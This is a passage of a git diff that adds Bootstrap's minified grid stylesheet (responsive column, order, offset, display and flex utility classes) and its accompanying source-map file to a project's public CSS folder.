25%;max-width:25%}.col-md-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-md-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-md-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-md-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-md-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-md-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-md-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-md-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-md-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-md-first{-ms-flex-order:-1;order:-1}.order-md-last{-ms-flex-order:13;order:13}.order-md-0{-ms-flex-order:0;order:0}.order-md-1{-ms-flex-order:1;order:1}.order-md-2{-ms-flex-order:2;order:2}.order-md-3{-ms-flex-order:3;order:3}.order-md-4{-ms-flex-order:4;order:4}.order-md-5{-ms-flex-order:5;order:5}.order-md-6{-ms-flex-order:6;order:6}.order-md-7{-ms-flex-order:7;order:7}.order-md-8{-ms-flex-order:8;order:8}.order-md-9{-ms-flex-order:9;order:9}.order-md-10{-ms-flex-order:10;order:10}.order-md-11{-ms-flex-order:11;order:11}.order-md-12{-ms-flex-order:12;order:12}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.333333%}.offset-md-2{margin-left:16.666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.333333%}.offset-md-5{margin-left:41.666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.333333%}.offset-md-8{margin-left:66.666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.333333%}.offset-md-11{margin-left:91.666667%}}@media (min-width:992px){.col-lg{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-lg-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-lg-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-lg-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-lg-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-lg-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-lg-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-lg-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-lg-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-lg-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-lg-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-lg-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-lg-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-lg-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-lg-first{-ms-flex-order:-1;order:-1}.order-lg-last{-ms-flex-order:13;order:13}.order-lg-0{-ms-flex-order:0;order:0}.order-lg-1{-ms-flex-order:1;order:1}.order-lg-2{-ms-flex-order:2;order:2}.order-lg-3{-ms-flex-order:3;order:3}.order-lg-4{-ms-flex-order:4;order:4}.order-lg-5{-ms-flex-order:5;order:5}.order-lg-6{-ms-flex-order:6;order:6}.order-lg-7{-ms-flex-order:7;order:7}.order-lg-8{-ms-flex-order:8;order:8}.order-lg-9{-ms-flex-order:9;order:9}.order-lg-10{-ms-flex-order:10;order:10}.order-lg-11{-ms-flex-order:11;order:11}.order-lg-12{-ms-flex-order:12;order:12}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.333333%}.offset-lg-2{margin-left:16.666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.333333%}.offset-lg-5{margin-left:41.666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.333333%}.offset-lg-8{margin-left:66.666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.333333%}.offset-lg-11{margin-left:91.666667%}}@media (min-width:1200px){.col-xl{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-xl-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-xl-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-xl-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-xl-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-xl-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-xl-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-xl-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-xl-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-xl-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-xl-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-xl-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-xl-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-xl-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-xl-first{-ms-flex-order:-1;order:-1}.order-xl-last{-ms-flex-order:13;order:13}.order-xl-0{-ms-flex-order:0;order:0}.order-xl-1{-ms-flex-order:1;order:1}.order-xl-2{-ms-flex-order:2;order:2}.order-xl-3{-ms-flex-order:3;order:3}.order-xl-4{-ms-flex-order:4;order:4}.order-xl-5{-ms-flex-order:5;order:5}.order-xl-6{-ms-flex-order:6;order:6}.order-xl-7{-ms-flex-order:7;order:7}.order-xl-8{-ms-flex-order:8;order:8}.order-xl-9{-ms-flex-order:9;order:9}.order-xl-10{-ms-flex-order:10;order:10}.order-xl-11{-ms-flex-order:11;order:11}.order-xl-12{-ms-flex-order:12;order:12}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.333333%}.offset-xl-2{margin-left:16.666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.333333%}.offset-xl-5{margin-left:41.666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.333333%}.offset-xl-8{margin-left:66.666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.333333%}.offset-xl-11{margin-left:91.666667%}}.d-none{display:none!important}.d-inline{display:inline!important}.d-inline-block{display:inline-block!important}.d-block{display:block!important}.d-table{display:table!important}.d-table-row{display:table-row!important}.d-table-cell{display:table-cell!important}.d-flex{display:-ms-flexbox!important;display:flex!important}.d-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}@media (min-width:576px){.d-sm-none{display:none!important}.d-sm-inline{display:inline!important}.d-sm-inline-block{display:inline-block!important}.d-sm-block{display:block!important}.d-sm-table{display:table!important}.d-sm-table-row{display:table-row!important}.d-sm-table-cell{display:table-cell!important}.d-sm-flex{display:-ms-flexbox!important;display:flex!important}.d-sm-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:768px){.d-md-none{display:none!important}.d-md-inline{display:inline!important}.d-md-inline-block{display:inline-block!important}.d-md-block{display:block!important}.d-md-table{display:table!important}.d-md-table-row{display:table-row!important}.d-md-table-cell{display:table-cell!important}.d-md-flex{display:-ms-flexbox!important;display:flex!important}.d-md-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:992px){.d-lg-none{display:none!important}.d-lg-inline{display:inline!important}.d-lg-inline-block{display:inline-block!important}.d-lg-block{display:block!important}.d-lg-table{display:table!important}.d-lg-table-row{display:table-row!important}.d-lg-table-cell{display:table-cell!important}.d-lg-flex{display:-ms-flexbox!important;display:flex!important}.d-lg-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:1200px){.d-xl-none{display:none!important}.d-xl-inline{display:inline!important}.d-xl-inline-block{display:inline-block!important}.d-xl-block{display:block!important}.d-xl-table{display:table!important}.d-xl-table-row{display:table-row!important}.d-xl-table-cell{display:table-cell!important}.d-xl-flex{display:-ms-flexbox!important;display:flex!important}.d-xl-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media print{.d-print-none{display:none!important}.d-print-inline{display:inline!important}.d-print-inline-block{display:inline-block!important}.d-print-block{display:block!important}.d-print-table{display:table!important}.d-print-table-row{display:table-row!important}.d-print-table-cell{display:table-cell!important}.d-print-flex{display:-ms-flexbox!important;display:flex!important}.d-print-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}.flex-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-center{-ms-flex-align:center!important;align-items:center!important}.align-items-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}@media (min-width:576px){.flex-sm-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-sm-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-sm-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-sm-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-sm-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-sm-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-sm-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-sm-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-sm-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-sm-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-sm-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-sm-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-sm-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-sm-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-sm-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-sm-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-sm-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-sm-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-sm-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-sm-center{-ms-flex-align:center!important;align-items:center!important}.align-items-sm-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-sm-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-sm-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-sm-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-sm-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-sm-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-sm-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-sm-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-sm-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-sm-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-sm-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-sm-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-sm-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-sm-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:768px){.flex-md-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-md-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-md-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-md-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-md-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-md-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-md-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-md-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-md-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-md-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-md-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-md-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-md-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-md-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-md-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-md-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-md-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-md-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-md-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-md-center{-ms-flex-align:center!important;align-items:center!important}.align-items-md-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-md-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-md-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-md-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-md-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-md-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-md-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-md-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-md-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-md-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-md-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-md-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-md-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-md-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:992px){.flex-lg-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-lg-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-lg-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-lg-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-lg-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-lg-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-lg-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-lg-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-lg-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-lg-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-lg-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-lg-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-lg-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-lg-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-lg-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-lg-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-lg-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-lg-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-lg-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-lg-center{-ms-flex-align:center!important;align-items:center!important}.align-items-lg-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-lg-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-lg-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-lg-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-lg-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-lg-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-lg-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-lg-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-lg-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-lg-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-lg-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-lg-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-lg-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-lg-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:1200px){.flex-xl-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-xl-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-xl-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-xl-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-xl-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-xl-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-xl-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-xl-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-xl-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-xl-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-xl-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-xl-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-xl-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-xl-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-xl-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-xl-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-xl-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-xl-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-xl-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-xl-center{-ms-flex-align:center!important;align-items:center!important}.align-items-xl-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-xl-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-xl-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-xl-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-xl-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-xl-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-xl-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-xl-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-xl-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-xl-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-xl-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-xl-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-xl-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-xl-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}
+/*# sourceMappingURL=bootstrap-grid.min.css.map */
\ No newline at end of file
diff --git a/public/css/bootstrap-grid.min.css.map b/public/css/bootstrap-grid.min.css.map
new file mode 100644
index 0000000..62f971a
--- /dev/null
+++ b/public/css/bootstrap-grid.min.css.map
@@ -0,0 +1 @@
+{"version":3,"sources":["../../scss/bootstrap-grid.scss","dist/css/bootstrap-grid.css","../../scss/_grid.scss","../../scss/mixins/_grid.scss","../../scss/mixins/_breakpoints.scss","../../scss/mixins/_grid-framework.scss","../../scss/utilities/_display.scss","../../scss/utilities/_flex.scss"],"names":[],"mappings":"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